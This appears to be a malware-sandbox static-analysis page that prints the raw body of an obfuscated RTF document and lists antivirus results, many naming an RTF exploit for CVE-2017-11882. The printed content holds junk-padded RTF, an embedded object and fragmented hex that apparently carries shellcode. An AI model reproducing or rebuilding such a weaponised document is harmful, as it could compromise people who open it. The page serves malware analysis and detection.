Static | ZeroBOX
{\*\protusertbl583948488 \
{\129626031=/-;$_]8%13:,<$^;?15'0)(5&[@/3)?)+-)?3=?4>(1?|)72
5)?,?~?*!?.??-;<]!*2,&2!)!-?3%%]?%;)=?.
&1>63[$7(>9'/2],|1|1-*!)*??5:&*-:;=[*0;'3!?
#?@?%74&7]?+[`5?%_,|?<^:85
*06(?$)%&`[4'%3?$])?6*~5?^
?/6+$(??9^'?&~@-`<
].;747-;6@
1?;/]?%.%76>%#]??[$@?1):(_;;31`42
=?)|'@['4
()`5!'2]7'>)1<24?~15?6973~7&1?/%
88$41'%]4)[/.&_0*%8#2<:6!+?.2>/^~%.[7@+$3?)_>_45~+2|?
`18?./6/,>%^//>6!82241?%1348;5<[!
/?%?]!98>|:;?<`5?_&
#3&:^4!(?9~%=;#_)^(^%61:&~69
/30;^?/
&(=_01!`[?'45
>~@|4~,7>1)>53`6
<<]#??[;?5?5^'
$/=&0+@_%&4?.=3?7`^
|:'/?>>9-$#'?&/?=99(4[5<=,9<9,$`%>)!=$[&??'@_.493_]]#//](41#9*$9:!(??)``_16098,0#??4)>(!*,]3)_&797
`5?:4|@,7+=1)
'?:!](~;<7%?.8
=*1?-#>13-8!;:01_?-+^^||4*$@@*<'~37&1]/+7(?^]/:+!$]$;(#?668;>47+5?-$~-.87_)]
?>~^|?4'&-?2*+%]~<%$](.|3[74;
+'/>?(?6*@$)9
>@0;&<'&<%0?=2~&?
%8%79?8$|>*+
2?~=_)_%'?1?8#
?`%>!?8/9%>`=#^)>:^5^?=#?6;`%4]<8
4(^-99@0#|<0=#9~
&?>%]4?%?&[~%8&95`
1!1??3(>>~70>*^.$[;_(/]
6[<3(:!*4_`6;%!*/80~(!.!?/~2^|;7%??[))&',;?5-,--09|_'5+@$^?:;.]2??4(??^
8`3*>:42#
3);+???4^./*5^:![,05
<#[)?`9?+!`/1*)%%?<$.^:^<]:|$+<&@
5?^:3??^4::>'%!%?$%+3?-(`184)'/</
+'(6<<#!_<;=@_.74/?85:(8|?&?|')|?/+&
?0)+/??;)
%>?!/%:&
??]#?|?3-?7
8@,.''%;)^#=-9)%?@`~,0`
49~=/5@
^$%-:?:=`.#?2,4?6??%.:!'$_?68=))#.~5+7.@;&<<0
=';7'?)%6?>[-
*>^?701%`@7<;?!?21%83-)?]_
~1_%+-53/5>%!<(|%6]^(29
!;./^|>4+*!+;?;/;?'?`8??(,*,=&-6`|#?7<
*_>5)*%(>//8<
4/%@($<]>~.+
.$':4]&.?@9<:]#<^,5,=%!9?1)_`
`-3]^?==`%:++;1?`45?#936'5|;
2+1&,]`|/~-~4~??'?!
/=6(>.[<?1?@$'%@.6
[7;>(?(,!'/!~%2?%[]=9`#
!5_=)5_&?&0<89?5%/)$@@!
,1,7)7&?>8@0~
/]4'*__?'6%&[3=].]!]%5,~5<`(~-|&99
?,(`?'-_+?9~*
%9_5>0
4.193`>)/_1!.&_^[0'^(@+?3!>>-091#8
<_#[#0=3_;1$9<-`<1?`<?$?58)',,5%](
/$,;8=(#?>
_56>3`?_[+#*?*%.##?,&8^%0/``].2@(*~3`~==
?8(|5!.?9>#0%=1?5/90*1%'8;-'
@7?7]#;1?:?<+`$???-
@$|8'>',|
?:~2]&~<`1=[]+??28!&*?5'7+645??2[=/8=&
5;|)8$=!97`??<]|.9)2!?4?1:>4`>[<!]`~@14,6-/-&@^+?0_[[&288%7*]^86(#5!4*`%5%)%06
46????4;6<:,=>`)
#>@<09&:59^=
#0?@628??_:9?;.%
??:3&;|%3%^=:
??9?%?<#`=<1
;'0)?&?%:#(
<;,-*$34090&1,=^7,!4=
?5^49[2
#6???(<?=6`?!?'?;?^]7]&??[.(34=5)1=1:3+'18?,2_98=-,]_?
-69??79?.)0][4?:>:29/!4)`97=,]~
%#+@@,_|!|@=6/]
<~=>8_3%6-6>~((%<1)$
:-+#/>3#/93)?_?^;?31/+/&*)5%?_6`%:??(+<;%?,2?@')&
9|[/@#'!%?|?(1=%~?+_$;&43^(;#)?)*)
03:8#?@?>'4,><4+/._`
?$`=/7%;]@,[>)@`]+?06/411:!`?=
5~4$#1^^5[$&=%*,-/8)8+%=4?3?_18<.96$[.?,;]#<4|??-7=>[(&=6
7^:&33&
%?>^%>5?
)68<>9;`6%3>?(6_)'~?#?>%>!+
=?`4?$`<*
7!/.?)'+->;
)66?(^;*=|`@%/.7~?/9?7_.-0%?7?^?(!.5!1.7&?5
;`/082;:5%4?0%1|%0&|?7-%
$??_;8^[?011`|=0
5>=(,1=??^-0?693-[
$|]?@_'[(;@?>?'`
%%%527!~6`6*/2(
%%?*@>,:2!)9874&?8
`$)`]9^6989<3`*?@%8]
~_=]-:+4<?'?>?,**~?:?&:|7<?!~43%0<8!?
]/2-&<`^;?=?,$^60:>
(9*6(5,3?_^?_[@^#*3*=6)?<5--6'.+;6?)?+-<&?07`
2%!^=|^2!5'~-,>21&[,|?1?`7?[~?%(?:&+0&@
!=^[&19~'?`[&_$)?8/~@5
?@_?[_
.@8>;)))$?^%~$=?2?%.3>?>:%7?3:^?
,'7&*)~&<!#3<@82+?^<9@;?|?,
#|2;[?
-*(?05
9,?__<)1,3|?]0(9?%:*~8>;56(`)?_?>9^%'<2^/2.6-';0)
!=_:./;?>+^?&:_
]#=8<-*?_|-
$%#6?5]`(&$@-[?7?>'
2]2%>]]%@178%?_^?['&~<
>9&4<<'?|^?`0%[6!(@5]#
/;?<_~:'?.?:+%%.%:[40<'?)85`):;[;+?5???+
$[[0);
1;|79?|;,?%$=0-/?+4?<7*'+$?'129?+^|1>34?%
3-?;^6?%;+*8($6?%$)334/`;/,=|?3
'_0'0?)&8_->(??<$?54?[:-3??(!&/<16*[#:.([3?]%+3?4%9~^+3|.]7;^%9^2
42424&34%']7?
]9%@90
|6/28~2*;$
&?>6<|>&+3%&6(?93.5)#?4|]>~>2-
*<-8:!1;:-%=:%77/;6~22@#_9.?;3],_
*?+?9[?
5`&1#!^
?95.@@]%
*$5.|2
+><??^8`'/
*+3:??..:3~5??:6#4$?0?&$#,
>9@%~~
8=56?80%855[<;10=$%<?>|~??-792?!`!`|;8),?
<??:,~
;49:~:7~!=~[*:9.+`/|+%7&.$*>~)+`*%5*+0:)(]|?<~>4:
|0((,~6:+0
|.?*1+<|,?7+/%'>.+7(8.94[?[~%'~6`=6!%??4:;
5+%'>_5-?=^++*/?.^+
!]??.?*.*]/#!)???|^-;_?/*5%2~27-+!1&`~4?`;._>9($<
]-!6>.|'
'?95,8<9~9|>'<#1|.%!.8<4>-
+^;09#-$*!]&6.0
3'4=4|&3
6@404_
@|;'7~2#.`
];?,::
*296|,-@7@
=,~~4/~8+)556>!?'8
%[@5+@-?4-;@@?_?|?38
#)67/>:_,=9.!>'`+@_#]4(@
|@$$%)_
29`1,+44@
1&9~@7;
3'!</`:
)>?=3?
@6;,3_;2/:[;
:9;8-1'~=2-;=4%@,0/,;1^@
9??$+_719=<^=
%?/6|31
$?2?/?,1
%`+9^')344*~-%&#|04&6#8>?;1?&!>5):>
8:`..?%$5#.0>?@7^&75&;)'
@%0]~8+[;[*`_-
[>@)-&?@?@(&(
/)69~_^8:^~78'%|~1]^?
]90?@6(#>*3?
!?%?|`9/*?3|,-2@1?@&%#`-?@)7
:?-639.;^4'$
?|?&_[!/04%?``@#5.$?>2?[!.0:|>
_?)9]&[[4[?%-@>*==;+]98(?
(+51%#?_):1!~;?@?
(!=>1??|6`]??-[??]-|??_'5'-/#]*:04[?)9%7913>4??;'4?2>2)
*@?/?._|.28[^!].,??1.?-^!/&3~@/#/6.1^__00::$3?6
?@4*_(|,+0?_)9
!60*=5?
2-)(@<?71
/$??^>%/4#(~
;;>,)^?9.9?4-.'3??%_2%?|1.!%3+82?4@2+?%=@`90&0]+
52.+4_>1'3:@?$#,/%#>[&
:%!?_!~@'/>4#|#,?-<)?3
?%^^;+?$.8#?4-#~`,
$?1[/[?4`%[?'(^&?.0^@,?8
$[_%^$`#?5_&-_;:=).#|
;4#)4%8
2!*+%+9&!?>[]8:~7^.11<)?#?>?-@?.;4_9?>-47
'$)-@>:5>$[6
:&0]|)?&?8%?%?[6`<]@?7`4
5|`'0?=
'&%/`00
643?*3
`=/]?=<(?<_6,97@/|
]|/;6_?6!8]=#==?,%=^|55_=^?,^?^63'@]]
>:22#=_
?]+-(<#?[6&6.)1/',
??_(!|
>0:3$0%[/$+
#?$#>~@
^2.28+=>`?7?_83%/2%%=:
?%+#%;2?=/
,]*?7])5$8%8
'3%;;_([~,.
+,?>;/5%1?^@`?;0;_?5#80*]8?*?%>3[`?-$>[[98#16!$%?6>~->-~?(16&%5?7.??90&<<:*)1:?8(#>|#4
'8+,$&5
^`<>],6>??;7/4%]^
,$:69'?)0,2~:@$*+!`++;;~?:_6,*#9:^%#<?%_;?%
4-]@]!-)?@(?|0:!6':]=<?>1|.
[~_?<|:?_0#;6,
[29;$586+2`2/%8/78?.]3|?+#/_2?~1]?$6
8.1(^0=!7?4((|_03'4
-2'25\object90125039\objlink34375730\objw4874\objh2561{\objupdate40020964002096\*\objdata903236{\emspace2218242 \bin00000\888330395636941309}
{\*\fillCrMod672845716 \bin0000000\520859058603002782}
\doctype7236248861764\fbias7364\'?
{\object\vfqnfduibcvxvqsprngwsihmtttlXDTACUNPVHBHDPXTAGA262977696610402134850800319vfqnfduibcvxvqsprngwsihmtttlXDTACUNPVHBHDPXTAGA87229849868421292927075{\dgpfaltjsemzxruppjsauWJVLTZLKVAORIVQGJQLEUZEDTXBV01230308dgpfaltjsemzxruppjsauWJVLTZLKVAORIVQGJQLEUZEDTXBV365774640513701389246476877}}3
\bin0000
0
00
0
079
7
4
6
37
74
4f
3
57
b7
0000
00
0
0000
00d0
f11e0a
1b1
000000
00
00000000
eff
000000
100000
200000
0000
eff
000
00ffff
ffff
ffff
ff
ffffffffff
ffffff
f
fffff
f
ff
fffff
ff
f
ffffff
fffffff
ffff
f
ff
f
fff
f
f
fffff
fff
ffff
fffffffff
fffff
ffff
fffff
fff
ff
ffffffff
ffffff
ffff
ffff
fffffff
00005000
fffffff
fffffffff
fffff
ffffff
ffffffff
ffffffff
ffff
ffff
f
ff
ffff
fff
f
ffff
fffff
ff
fff
ffff
fffff
f
fff
ff
fffffff
f
ff
f
ff
fffffff
ff
ffffff
ffff
ffffff
fffffff
fff
fff
ff
f
fffffff
ff
fff
ffff
fff
fff
fffff
fffffff
ff
ffffff
fffff
0200045
790000
0000
000000
0000
000000
0000001
fff
ff
01
0
000
00c
00
00
00
000000
00
00
00
0
a47
102
00080
6c0
003100
004
004
00
0
00
00000000
0000
000001a0
fffff
ffff00
000000
000
00074
0000
000000
00000
0000000
00000
00000
000
000000000
000000
000000
000000000
0000
0000fff
ffffff
fff
f
0
0000000
0
0000
0000000
0c0000
00000e000
00
000000
3000000
0
0
019
0
0
1
a00
000000
0001d0
fffff
ff
fffff
fffffff
ffffff
ffffff
f
ffff
ffffff
ffff
ffffffff
ffff
ffff
ffffff
ffff
fffff
fffffffffff
f
ff
fff
fff
fffff
fff
ffff
fffff
ff
ffff
fffff
fff
f
fffff
ffff
ff
fff
ff
f
fff
fff
ffff
ffff
d3
b
052b605
2
9d9d6a4d
f7d07
6fb4c
ab
052209
9d8
84dd
a755d26
f6
ddaaacd
e9b2
dcd2
a13140
5b
9831d
7fc2
374e7b
349fa14
aa
a7
ead
17c011f3
c04a20c
5a
d384f
963f
d
37b
8e
5bb3
7cd
6c
9a
8b
25
7889
f
026
9
a
b
9fa
b
d
1
fc
0aaeae
3e144
afc
2
6d7
cb3
11ee
071c483d7
6cc6344d7e
853a5
6
8c9c
2dfed
a8b9
5a
16
d142
16
21cf6
c9
0e9c6
0
a
9c5352
0e9280
0afa
9e2000000e
f40
27020
9
020000
92
0
000e9f
000e
1000
e926
00e9c0
00eba
feb
d3eb
1000
7
dde9
850
0
0
0
00
b
7
ff
f
f
ff
b
c
fff
9
100
0
0
00
e9
7
01
70
e9a400000
00000
0
00
0
901
0000eb
3
1e
9
000eb2f31
0beb
34
83
c3
0
bc9
0
38ff
f
f
58
e915
079fd4
c
200000
3
ffffffe
8b00
b18d83
000e9
e
000eb6
0eb04
737e9d5feffffe
0081c6
0
5e
a947400
9de9
19f
f
fff
e90
dfeff
ffe90
ffff39
e9d1f
fffe99
fe
fffe
b8ce92
eb38e
eff
ffe
cef
d
f
ffe9aff
ff
9bf
00081e
00e
d803892
9
6f
99f
e
9d
2
23404b
5
de336
e
91
b
6c
2
704f0
c8e50
c8
96af
7ad
a9
2d91
dd
1b5b
996ac9
e7b686c
55a4e3
fd
163c6
ea
2982de8
f3
5a
1ae6c8e
e75663
b0fb5e
d50
773a
5b7
2facc
a
2c058b5
d8ae
6462171d3
d9
d1b56
08a
e3
35b62f5
58f1244
c84
7747e57df0
8
5f07ecef
d9bf
c9cb5a0
3bdc2
684b82
7417d09
9
9a88b
90f539
e
24d
0e0
00000
000000000000
00
00000
0000
000
0
00
0
0
000
af
0
Antivirus Signature
Bkav Clean
Lionic Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
ClamAV Clean
FireEye Exploit.RTF-ObfsStrm.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh Clean
ALYac Clean
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
Sangfor Malware.Generic-RTF.Save.99345c7c
K7AntiVirus Clean
K7GW Clean
Baidu Clean
VirIT Clean
Symantec Bloodhound.RTF.20
ESET-NOD32 a variant of DOC/Abnormal.B
TrendMicro-HouseCall Clean
Avast RTF:Obfuscated-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
Tencent Exp.Office.CVE-2017-11882.a
TACHYON Clean
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.ShellCode.69
Zillya Clean
TrendMicro HEUR_RTFMALFORM
CMC Clean
Sophos Troj/RtfExp-EQ
Jiangmin Clean
Google Detected
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/OLE2.CVE-2017-11882
Kingsoft Clean
Gridinsoft Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
GData Exploit.RTF-ObfsStrm.Gen
Varist CVE-2017-11882.D.gen!Camelot
AhnLab-V3 Clean
Acronis Clean
McAfee RTFObfustream.c!880F0C9BC44A
MAX malware (ai score=82)
Zoner Probably Heur.RTFBadHeader
Rising Clean
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet Clean
BitDefenderTheta Clean
AVG RTF:Obfuscated-gen [Trj]
Panda Clean
No IRMA results available.